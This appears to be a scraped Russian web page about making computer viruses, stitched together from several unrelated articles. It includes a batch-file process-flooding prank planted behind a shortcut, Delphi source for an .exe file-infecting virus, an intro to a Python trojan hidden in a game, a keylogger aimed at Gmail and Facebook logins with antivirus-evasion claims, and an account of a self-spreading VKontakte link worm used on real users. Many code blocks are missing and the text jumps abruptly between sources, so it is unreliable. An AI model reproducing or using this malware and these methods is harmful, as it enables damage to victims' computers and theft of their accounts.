Как сделать вирус для сети
Обновлено: 23.04.2024
Небольшая статья по созданию "вируса" Именно в кавычках, потому что это вовсе не вирус, а совсем безобидный файл. Этой статьей я бы хотел довести до пользователей, что нужно больше разбираться в компьютерах и командах, чтобы избежать многих проблем. Улучшайте свою компьютерную грамотность
Итак, я Вам покажу как можно заставить тормозить компьютер стандартными средствами Windows . А если точнее, то я буду использовать Командную строку и её команды для написания файлов.
Ну что ж, начнём создавать шалость
1) Открываем Блокнот и вставляем туда следующий код:
Далее нужно сохранить его (меню Файл - Сохранить как) с расширением bat (например vinda.bat). Не буду слишком вдаваться в подробности сохранения.
Раскрою сразу карты, а точнее объясню (для тех кто не догадался) что делает каждая команда.
md c:\vindavoz - командой md создаём на диске С папку vindavoz
del %0 - удаляет сам себя Это на тот вариант, если Вы хотите скопировать файл на компьютер жертвы или заставите его/её самостоятельно запустить и он исчезнет. Ну а вообще это больше для ознакомления, чем нужная вещь.
После того, как запуститься данный файл, он создаст на диске С bat-файл с содержимым start c:\papka\virus.bat . Этот код внутри файла означает что он будет запускать себя постоянно!
Теперь осталось только заставить жертву запустить этот файл (созданный на диске С).
Делается это тоже довольно легко. Достаточно прописать в любом ярлыке (желательно в том, который чаще всего используется, например игра) путь к нашему "вирусу" , а именно в поле Объект пишем "c:\vindavoz\virus.bat" .
В итоге получается такой замкнутый процесс, когда файл запускает каждый раз сам себя, а на экране это отображается как бесконечно долгое и быстрое появление окон командной строки. Этот процесс будет ооочень быстрым и будет продолжаться довольно долго.
Но тут всё зависит от оперативной памяти на компьютере-жертве, но она всё равно когда-нибудь забьется от стольких процессов и комп зависнет.
Весь процесс можно остановить нажав кнопку Pause/Break
2) Теперь немного модернизируем это действие. Точнее заставим "зациклиться" кое-что "потяжелее", например стандартный редактор изображений Paint
Код немного изменю, чтобы показать другой способ зацикливания:
В первой строке создаем метку, во второй строке запускаем стандартный Paint, в третьей строке возвращаемся снова к метке.
Узнать какие ещё можно использовать стандартные программы/утилиты можно посмотрев и прочитав статью Системные утилиты в Windows
Вместо стандартный и простых утилит можно использовать и "покруче", например фотошоп или офис )
Да, мы немного изменили первоначальный вид, несколько его увеличив. Что же добавилось? Первые две строки и последнюю Вы уже знаете, поэтому распишу лишь следующие:
Ну а дальше всё становится понятно.
Поле для размышлений велико. Эксперементируйте
Статья по самостоятельному созданию не вредного вируса написана исключительно в ознакомительных целях!
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
В этой статье я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если ты не знаешь Python, ты сможешь лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Теория
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
Никогда не встречал конструкции типа print( f'<> ') ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Хакерский мир можно условно разделить на три группы атакующих:
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Позже, перед сном, ко мне забралась идея, как это сделать. Идея заключалась в вирусной ссылке, которую получат почти все пользователи сети.
Проснувшись утром и попив кофе, я начал реализовывать эту идею. Для многих уже давно не секрет, что для выполнения запросов от имени пользователя в VK API, нужно иметь его access_token. Но! На самом сайте этого ключа не требуется, чтобы просто протестировать. Перед началом создания этого Супер вируса, я хотел просто проверить его работоспособность.
Для теста и использовал метод friends.add и в поле user_id прописал свой id. Выполнив это действие, адресная строка изменится, на что-то вроде этого:
Эту ссылку я сократил через vk.cc и оставил в комментариях к двум популярным группам с заманчивым описанием. Через полчаса у меня уже было 100 подписчиков (было бы больше, но мой комментарий удалили, а меня забанили). После этого, я стал уверен, что это сработает и приступил к его созданию.
Вконтакте ограничивает доступ к API от одного IP интервалом в 5 секунд, чтобы сервер не перегружался. И для решения проблемы с частыми запросами они создали метод execute. Этот метод позволяет вызывать несколько методов одновременно с сохранением алгоритма, чем я и воспользовался.
На создание вируса у меня ушли примерно сутки, так как встретил пару преград. Об этом чуть позже. Вирус должен был работать так:
Получив ссылку, я радостно пошел протестировать на своем фейковом профиле. Но не тут-то было. Перейдя по ссылке, мне выдало ошибку 12: Синтаксическая ошибка. Не ожидалось символа &. Здесь и начались мои преграды.
Как оказалось, сервер для защиты от XML переводит все знаки. И знак двойных кавычек " просто переводился в & quotes; а консоль
выдавала ошибку. Одинарные кавычки не переводятся, но их он не примет, так как синтаксис от JSON.
Так как это моя первая попытка работы с уязвимостью (как и этот пост) на это у меня ушло чуть дольше времени. Первые пять часов ушли на то, чтобы понять, что ключи можно передавать и без кавычек, и цифры писать в кавычках тоже не обязательно. Т.е. можно так:
Для решения последней проблемы я подумал использовать регулярные выражения или что-то вроде, для замены числа 0 в строку. Сам я только начинающий web разработчик и не знал, как это делать, и задал вопрос на тостере. Получив два нужных мне ответа с разными путями решений, сразу же решил использовать их. И тут снова проблема…
ВКонтакте API — это не JavaScript и не поддерживает его функции вроде replace() или toString(). Да и вообще ничего не поддерживает из JS, кроме var, return, while, if, else, массивов и операторов сравнения.
Ушло очень много времени, пока я думал, как мне решить эту проблему. Стало поздно и я пошел спать. Перед сном, меня опять озарила грандиозная идея с решением этой проблемы.
Снова утро. Попив свою дозу утреннего кофе первым делом я приступил к продолжению своего вируса.
Решение было довольно простым. Ведь передавая числа или переменные из методов, необязательно писать их в кавычках.
Для меня понадобился мой фейковый профиль. Там я сделал два разных поста с такими текстами:
Чтобы еще и знать, сколько людей перешло по ссылке, я сжал ссылку к php файлу на моем хостинге, который записывал посещение в БД, и переадресовывал к методу с кодом.
Решив посмотреть сколько все же набралось лично на странице, я зашел на сайт и вижу целых 3 новых подписчика! Не сказать, что я не был удивлен. Я ничего не понимал… В базе было более 5000 строк, где почти все имели индивидуальный IP, а подписчиков всего 3. Я начал думать, что я на самом деле не такой умный, кое себя считал 2 минут назад, и что от таких махинации у ВК уже есть защита. С такими мыслями я ушел грустить.
Прошло уже 2 дня. Перед тем, как идти спать, я решил проверить свой сайт. Заглянув в базу данных, и ради интереса посмотрел таблицу для записи статистики. Там уже набралось более 25 000 посещении по вирусной ссылке, а подписчиков стало меньше, т.к. отписались еще и те, которые для меня были тестом еще в начале.
Я всё равно был рад, так как я впервые смог найти уязвимость в большой сети. Может другим это обычное дело, но для меня это было чем-то особенным.
Читайте также: